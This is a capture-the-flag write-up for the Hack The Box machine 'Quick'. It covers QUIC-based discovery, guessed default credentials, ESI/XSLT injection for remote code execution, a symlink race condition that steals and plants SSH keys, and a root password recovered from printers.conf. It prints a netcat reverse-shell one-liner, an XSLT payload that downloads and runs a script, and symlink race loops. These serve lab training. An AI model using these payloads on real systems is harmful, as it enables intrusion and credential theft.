Quick - Hack The Box

Quick was a hard box with multiple steps requiring the use of the QUIC protocol to access one section of the website and get the customer onboarding PDF with a set of default credentials. We get to play with ESI template injection to get the initial shell, then abuse a race condition in a PHP script so we can pivot to another user then finally we priv esc to root by finding credentials in the printer configuration file.


  • Enumerate client names and countries from the main website testimonials and client list
  • Locate ticketing system through dirbusting
  • Use QUIC protocol to access the User Portal on UDP port 443
  • Locate employees list & PDF document containing default employee password
  • Guess the email address associated with the password based on previously obtained client & country list
  • Exploit ESI Injection vulnerability in the ticketing system to get RCE
  • Locate print server running on localhost, log in after changing the password of the account in the MySQL database
  • Exploit race condition in PHP script responsible for print jobs and read & write SSH keys for the srvadm user
  • Find the root password inside the printers.conf file


root@kali:~# nmap -sC -sV -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-25 19:17 EDT
Nmap scan report for quick.htb (
Host is up (0.020s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.39 seconds

Website enumeration

On the website there’s a few tidbits of useful information such as:

  • Testimonials with persons names and company names (this will be useful later)
  • There’s a weird comment about using Mobile App to access the portal

The clients.php link provides a bigger list of clients with their country.

With gobuster, we find a list of php files on the server.

root@kali:~# gobuster dir -w ~/tools/SecLists/Discovery/Web-Content/big.txt -x php -t 50 -u http://quick.htb:9001

/clients.php (Status: 200)
/db.php (Status: 200)
/home.php (Status: 200)
/index.php (Status: 200)
/login.php (Status: 200)
/search.php (Status: 200)
/server-status (Status: 200)
/ticket.php (Status: 200)

The login.php file is a login page for the ticketing system. We’ll try a couple of default username/passwords but we aren’t able to log in.

The other pages db.php, search.php, ticket.php can’t be accessed directly or require a valid session.

Quick User portal

Based on that interesting comment in the Update section of the main page and the name of the box, I thought about the QUIC protocol which runs on UDP instead of TCP. A quick port scan of the UDP ports on the box confirms that something is listening on port 443.

root@kali:~# nmap -sU -F
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-25 19:30 EDT
Nmap scan report for quick.htb (
Host is up (0.018s latency).
Not shown: 99 closed ports
443/udp open|filtered https

Nmap done: 1 IP address (1 host up) scanned in 106.93 seconds

I used the Quiche client from CloudFlare to do QUIC connections to the server. The client has to be compiled from source but the installation instructions on the site are self explanatory. After installing the client I can access the Quick User portal and I see links to Contact, About and References.

root@kali:~# http3-client

<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<p> Welcome to Quick User Portal</p>
  <li><a href="index.php">Home</a></li>
  <li><a href="index.php?view=contact">Contact</a></li>
  <li><a href="index.php?view=about">About</a></li>
  <li><a href="index.php?view=docs">References</a></li>

The contact section has a form to send messages. I thought this could be a vector for an XSS but the form doesn’t appear to do anything when I issue a GET with the form parameters.

<div class="container">
  <form action="/">
    <label for="subject">Subject</label>
    <textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea>

    <input type="submit" value="Submit">

The about section has a list of employee with their email addresses. These could be valid usernames so I make note of these for later.

        <h2>Jane Doe</h2>
        <p class="title">CEO & Founder</p>
        <p>Quick Broadband services established in 2012 by Jane.</p>
       <h2>Mike Ross</h2>
        <p class="title">Sales Manager</p>
        <p>Manages the sales and services.</p>
        <h2>John Doe</h2>
        <p class="title">Web Designer</p>
        <p>Front end developer.</p>

The references section contains two PDF documents.

root@kali:~# http3-client
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>

The QuickStart.pdf file refers to that ticketing system we found earlier but for which we don’t have valid credentials.

The Connectivity.pdf file has the default password assigned to customers: Quick4cc3$$. This is probably the password used on the ticketing system but we don’t have the username to log in.

Ticketing system

I went back to the Testimonials and client information we found earlier and tried different combination of domain names and TLDs. The country indicated in the client list is a hint that allows us to guess the TLD instead of fuzzing all possible TLDs.

The correct credentials are: elisa@wink.co.uk / Quick4cc3$$

The ticketing system contains two functions:

  • Raise a new ticket
  • Search for existing ticket

A random ticket ID is generated each time we submit a new ticket.

We can then search for our ticket and the content is returned.

In the search.php response, we can see that the web application uses Esigate. This allows the application to modify the content of the page using special ESI tags.

There’s a blog post that go over abusing specific implementations of ESI. In a nutshell, we can get RCE on the server by injecting XML Stylesheet Language Transformations (XSLT). The input on the ticket creation page is totally unfiltered so we can add ESI tags and they will be reflected back.

A quick test shows that we can get a ping back to our webserver by using the following tag:

To get a shell on the server, I’ll first create a shell.sh script that will execute a typical reverse shell payload:

rm /tmp/yolo;mkfifo /tmp/yolo;cat /tmp/yolo|/bin/sh -i 2>&1|nc 443 >/tmp/yolo

By using the example in the blog post, I created the first XSLT file with the following payload to download my shell script with wget.

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
<xsl:variable name="cmd"><![CDATA[wget]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>

Then I created a new ticket that links to the stylesheet esi.xsl I just created.

After searching for the ticket number 7644, I saw the shell.sh file was downloaded from my machine.

Then, I modified the esi.xsl file and changed the command to execute the shell.sh file and get a reverse shell.

<xsl:variable name="cmd"><![CDATA[bash shell.sh]]></xsl:variable>

After searching for that same ticket again, I got a connection back.

$ cd /home/sam
$ ls
$ cat user.txt

I dropped my SSH public key to /home/sam/.ssh/authorized_keys so I could log in directly with a proper SSH shell.

Privesc to user srvadm

The box has two users:

  • sam
  • srvadm
sam@quick:~$ tail -n 5 /etc/passwd
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
sam@quick:~$ ls -l /home
total 8
drwxr-xr-x 7 sam    sam    4096 Apr 26 00:18 sam
drwxr-xr-x 6 srvadm srvadm 4096 Mar 20 06:37 srvadm

I looked at the Apache configuration file /etc/apache2/sites-enabled/000-default.conf and saw that there’s a website listing on port 80 with a different domain name: printerv2.quick.htb. The AssignUserId config statement indicated this server is running as the srvadm user.

<VirtualHost *:80>
	AssignUserId srvadm srvadm
	ServerName printerv2.quick.htb
	DocumentRoot /var/www/printer

I’ll add re-connect to the server and port forward my local port 1080 to the remote port 80: ssh -L 1080: sam@ Then I’ll add printerv2.quick.htb to my local host file pointing to

The printer site has a login page but we don’t have valid credentials yet.

We have access to the /var/www/printer directory where this applications is running and I can see the database credentials in the db.php file:

sam@quick:/var/www/printer$ cat db.php 
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");

The authentication page PHP code shows that the supplied password is hashed with MD5 and uses the fa salt.

if(isset($_POST["email"]) && isset($_POST["password"]))
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;

I can access the database and see two users configured:

sam@quick:/var/www/printer$ mysql -u db_adm -D quick -p 
Enter password: 

mysql> show tables;
| Tables_in_quick |
| jobs            |
| tickets         |
| users           |
3 rows in set (0.00 sec)

mysql> select * from users;
| name         | email            | password                         |
| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
2 rows in set (0.00 sec)

Since I have access to the database, I can just change the srvadm user password to Quick4cc3$$ by using the same hash as the Elisa user account.

mysql> update users set password = 'c6c35ae1f3cb19438e0199cfa72a9d9d' where name='Server Admin';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 1  Changed: 0  Warnings: 0

And now I can log in to the printer application page with srvadm@quick.htb / Quick4cc3$$:

We can add printers and point to our IP address:

After adding a printer, we can see it in the list.

After starting a netcat listener on port 9100, we can click the printer icon on the right to test connectivity. We see there’s a link to add a printer job.

listening on [any] 9100 ...
connect to [] from (UNKNOWN) [] 34600

After adding the job, we get the content on port 9100:

listening on [any] 9100 ...
connect to [] from (UNKNOWN) [] 34656

The jobs.php file is the code that processes the print jobs. Here’s the relevant part that we’ll exploit.

		$file = date("Y-m-d_H:i:s");
		$stmt=$conn->prepare("select ip,port from jobs");
		if($result->num_rows > 0)
				$connector = new NetworkPrintConnector($ip,$port);
				sleep(0.5); //Buffer for socket check
				$printer = new Printer($connector);
				$printer -> text(file_get_contents("/var/www/jobs/".$file));
				$printer -> cut();
				$printer -> close();
				$message="Job assigned";

In short, the code does the following:

  1. Creates a file named with the current time, like 2020-04-26_00:55:45 for example.

  2. It writes to the file the contents submitted on the print job form

  3. It opens a network socket to the remote printer and writes the content of the printer job

The race condition vulnerability here is the sleep(0.5) delay that was added. Because the print job file is modifiable by anyone (chmod 0777), it’s possible to swap the file by a symlink before the rest of the code reads the content. In other words, we can read or write any file as user srvadm.

To abuse the file read and get the private key for srvadm, we can do it this way:

  • Loop and check if a file exists with the current time
  • If the file exists, delete it and replace it with a symlink to the SSH private key for srvadm
while true ; do N=`date +%Y-%m-%d_%H:%M:%S` ; if [[ -r $N ]] ; then rm -f $N ; ln -s /home/srvadm/.ssh/id_rsa $N ; fi ; done

The printer job will the send the private key to us instead of print job we submitted.

listening on [any] 9100 ...
connect to [] from (UNKNOWN) [] 58348

To abuse the file write and put my public SSH in the srvadm user directory instead, we can do this:

while true ; do N=`date +%Y-%m-%d_%H:%M:%S` ; if [[ ! -r $N ]] ; then rm -f $N ; ln -s /home/srvadm/.ssh/authorized_keys $N ; fi ; done

In the print job form, I’ll send my SSH key:

Now that my key has been uploaded, I can SSH to the server as user srvadm.

root@kali:~# ssh srvadm@
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)


Last login: Sat Apr 25 21:57:39 2020 from
srvadm@quick:~$ id
uid=1001(srvadm) gid=1001(srvadm) groups=1001(srvadm),999(printers)


I looked at the files in srvadm’s home directories and found a few things that stood out:

total 20
drwxr-xr-x 2 srvadm srvadm 4096 Mar 20 06:23 .
drwx------ 5 srvadm srvadm 4096 Mar 20 06:20 ..
-rw-r--r-- 1 srvadm srvadm 4569 Mar 20 06:20 cupsd.conf
-rw-r--r-- 1 srvadm srvadm 4038 Mar 20 06:23 printers.conf

total 96
drwxr-xr-x 2 srvadm srvadm  4096 Mar 20 06:46 .
drwx------ 5 srvadm srvadm  4096 Mar 20 06:20 ..
-rw-r--r-- 1 srvadm srvadm  9064 Mar 20 06:19 cups.log
-rw-rw-r-- 1 srvadm srvadm 71479 Mar 20 06:46 debug.log
-rw-rw-r-- 1 srvadm srvadm  1136 Mar 20 06:39 error.log

The .cache/conf.d/printers.conf file contains credentials:

MakeModel KONICA MINOLTA C554SeriesPS(P)
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
State Idle

We can URL decode many ways, such as using PHP:

srvadm@quick:~$ php -r 'echo urldecode("srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb\n");'

The password &ftQ4K3SGde8? is the root password. We can use su and get root access.

srvadm@quick:~$ su
root@quick:/home/srvadm# id
uid=0(root) gid=0(root) groups=0(root)
root@quick:/home/srvadm# cat /root/root.txt